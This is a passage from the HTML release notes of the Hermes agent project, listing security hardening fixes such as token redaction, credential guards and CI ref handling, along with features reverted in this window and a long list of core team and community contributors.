<li>Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (<a href="https://github.com/NousResearch/hermes-agent/pull/58501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58501/hovercard">#58501</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58534/hovercard">#58534</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58915" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58915/hovercard">#58915</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58893" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58893/hovercard">#58893</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>computer-use: subprocess env sanitized across all five cua-driver spawn sites (<a href="https://github.com/NousResearch/hermes-agent/pull/58889" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58889/hovercard">#58889</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59165" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59165/hovercard">#59165</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (<a href="https://github.com/NousResearch/hermes-agent/pull/58222" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58222/hovercard">#58222</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60236/hovercard">#60236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49435/hovercard">#49435</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>)</li>
<li>CI: untrusted refs passed through env, not <code>run:</code> interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (<a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60707" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60707/hovercard">#60707</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65186/hovercard">#65186</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (<a href="https://github.com/NousResearch/hermes-agent/pull/59149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59149/hovercard">#59149</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64651" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64651/hovercard">#64651</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66040" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66040/hovercard">#66040</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>)</li>
<li>Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (<a href="https://github.com/NousResearch/hermes-agent/pull/67238" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67238/hovercard">#67238</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59339" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59339/hovercard">#59339</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58178" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58178/hovercard">#58178</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; <code>/new</code> memory extraction moved off the command path (<a href="https://github.com/NousResearch/hermes-agent/pull/58350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58350/hovercard">#58350</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64379/hovercard">#64379</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61139" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61139/hovercard">#61139</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔁 Reverted in this window (for the record)</h2>
<ul>
<li>iron-proxy credential-injection egress firewall (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499336733" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/30179" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30179/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/30179">#30179</a> → reverted in <a href="https://github.com/NousResearch/hermes-agent/pull/58489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58489/hovercard">#58489</a>) — not shipping in this release</li>
<li>dynamic-workflow orchestration skill (landed, then reverted) — not shipping</li>
<li>memory provider-actions extension point (landed, then reverted) — not shipping</li>
<li>Note: the plugin <code>pre_tool_call</code> approve escalation was reverted mid-window but <strong>re-landed</strong> in <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> and ships in this release.</li>
</ul>
<h2>👥 Contributors</h2>
<p><strong>450+ people</strong> contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.</p>
<h3>Core team</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a> — terminal billing (<code>/subscription</code>, <code>/topup</code>), desktop billing tab</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — desktop custom endpoint settings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a> — unbroker + unreal-mcp skills, humanizer expansion</li>
</ul>
<h3>Top community contributors</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a> — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a> — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a> — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a> — <code>&lt;think&gt;</code> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a> — desktop declarative memory-provider panel + honcho recall/timeout correctness</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a> — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a> — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidMetcalfe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidMetcalfe">@DavidMetcalfe</a> — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a> — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a> — Gemini request-context improvements</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a> — cron one-shot stale-removal race, dashboard multiplex port-binding guard</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/embwl0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/embwl0x">@embwl0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @wesleysimplici, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a> — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces</li>
<li>Salvaged-work authors whose PRs were cherry-picked with credit this window: <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a> (profile routing), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a> (sessions export), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a> (1Password), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Christopher-Schulze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Christopher-Schulze">@Christopher-Schulze</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ahmett101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ahmett101">@Ahmett101</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, and many more — see the salvage PR bodies for full attribution</li>
</ul>
<h3>All contributors</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0-CYBERDYNE-SYSTEMS-0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0-CYBERDYNE-SYSTEMS-0">@0-CYBERDYNE-SYSTEMS-0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0disoft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0disoft">@0disoft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xbyt4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xbyt4">@0xbyt4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/17324393074/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/17324393074">@17324393074</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/2751738943/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/2751738943">@2751738943</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/8294/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/8294">@8294</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abhibansal-sg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abhibansal-sg">@abhibansal-sg</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adambiggs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adambiggs">@adambiggs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aeyeopsdev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aeyeopsdev">@aeyeopsdev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aguung/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aguung">@aguung</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ahmett101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ahmett101">@Ahmett101</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-ag2026/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-ag2026">@ai-ag2026</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AIalliAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AIalliAI">@AIalliAI</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ajzrva-sys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ajzrva-sys">@ajzrva-sys</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alastraz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alastraz">@alastraz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-fireworks/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-fireworks">@alex-fireworks</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-heritier/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-heritier">@alex-heritier</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex107ivanov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex107ivanov">@alex107ivanov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlexFucuson9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlexFucuson9">@AlexFucuson9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/allenliang2022/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/allenliang2022">@allenliang2022</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Almurat123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Almurat123">@Almurat123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlsayedHoota/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlsayedHoota">@AlsayedHoota</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alvarosanchez/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alvarosanchez">@alvarosanchez</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amanning3390/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amanning3390">@amanning3390</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AmAzing129/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AmAzing129">@AmAzing129</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AndreasHiltner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AndreasHiltner">@AndreasHiltner</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andrewhomeyer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andrewhomeyer">@andrewhomeyer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/annguyenNous/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/annguyenNous">@annguyenNous</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ansel-f/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ansel-f">@ansel-f</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/antydizajn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/antydizajn">@antydizajn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arminanton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arminanton">@arminanton</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arnispiekus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arnispiekus">@arnispiekus</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asimons81/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asimons81">@asimons81</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asscan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asscan">@asscan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ats3v/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ats3v">@ats3v</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinlaw076/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinlaw076">@austinlaw076</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/avifenesh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/avifenesh">@avifenesh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aydnOktay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aydnOktay">@aydnOktay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bautrey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bautrey">@bautrey</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbednarski9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbednarski9">@bbednarski9</a>,<br>
